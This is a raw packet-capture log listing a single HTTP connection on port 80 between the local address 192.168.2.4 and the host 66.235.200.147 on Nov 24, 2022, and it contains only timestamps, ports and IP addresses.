Nov 24, 2022 13:27:50.361638069 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361664057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361692905 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361707926 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361727953 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361757040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361772060 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361793041 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361823082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361834049 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361857891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361887932 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361902952 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.361922026 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361953020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.361965895 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362056017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362111092 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362191916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362273932 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362306118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362322092 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362344027 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362376928 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362384081 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362413883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362443924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362458944 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362479925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362508059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362521887 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362543106 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362572908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362584114 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362610102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362638950 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362651110 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362673044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362703085 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362719059 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362737894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362766027 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362783909 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362802982 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362832069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362844944 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362868071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362915039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.362925053 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.362993002 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363030910 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363045931 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363070011 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363107920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363118887 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363143921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363173962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363188028 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363209009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363240004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363250017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363276005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363308907 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363316059 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363343954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363375902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363385916 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363410950 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363440990 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363451958 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363475084 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363506079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363517046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363542080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363570929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363584042 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363605022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363634109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363650084 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363668919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363698959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363708973 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363734007 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363763094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363779068 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363797903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363827944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363841057 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363862991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363893032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363903999 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363929033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363960028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.363969088 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.363995075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364023924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364037037 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364058971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364088058 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364103079 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364123106 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364152908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364161968 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364187956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364217997 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364232063 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364252090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364284039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364293098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364320040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364348888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364362001 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364383936 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364413023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364427090 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364448071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364476919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364490032 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364511967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364542007 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364552021 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.364577055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364605904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.364619017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.382246971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382352114 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382407904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382438898 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382457018 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.382503986 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.382512093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382566929 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.382661104 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382761955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382788897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382811069 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.382823944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382848978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382886887 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.382894039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382940054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382952929 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.382973909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.382998943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383018017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383033991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383061886 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383091927 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383125067 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383125067 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383141041 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383163929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383197069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383213997 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383233070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383268118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383285046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383307934 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383359909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383394957 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383395910 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383435965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383456945 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383531094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383578062 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383584976 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383708000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383749008 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383781910 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383785009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383811951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383832932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383845091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383869886 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383891106 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.383903027 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383934975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383966923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.383980989 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384005070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384018898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384042978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384080887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384098053 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384134054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384161949 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384180069 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384195089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384219885 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384248018 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384257078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384299994 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384319067 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384356976 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384426117 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384478092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384553909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384613991 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384643078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384680033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384715080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384726048 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384753942 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384789944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384805918 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384828091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384874105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384884119 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384912968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384948969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.384957075 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.384987116 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385024071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385030985 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385061979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385097027 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385118961 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385130882 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385190964 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385194063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385251999 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385312080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385312080 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385454893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385534048 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385539055 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385591030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385628939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385646105 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385663986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385700941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385716915 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385737896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385773897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385790110 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385809898 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385840893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385864973 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385875940 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385915041 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385924101 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.385951042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.385987043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386007071 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386023998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386059046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386069059 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386095047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386158943 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386172056 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386214018 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386277914 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386365891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386481047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386531115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386538029 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386568069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386603117 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386616945 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386639118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386674881 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386692047 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386713028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386749029 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386755943 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386785984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386822939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386837006 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386857986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386905909 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.386914015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386953115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.386990070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387006044 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387026072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387058020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387083054 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387140989 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387178898 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387207985 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387214899 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387279034 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387295008 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387427092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387463093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387489080 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387521029 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387557983 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387578011 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387598038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387636900 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387666941 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387672901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387710094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387727022 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387746096 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387783051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387801886 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387820005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387857914 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387871981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387896061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387932062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.387954950 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.387969017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388019085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388035059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388093948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388128996 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388158083 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388165951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388226032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388232946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388320923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388375044 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388465881 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388495922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388519049 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388541937 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388542891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388567924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388588905 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388592005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388617039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388641119 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388641119 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388665915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388684034 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388690948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388715982 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388739109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388740063 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388763905 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388784885 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388788939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388813972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388837099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388840914 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388863087 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388887882 CET	80	49701	66.235.200.147	192.168.2.4
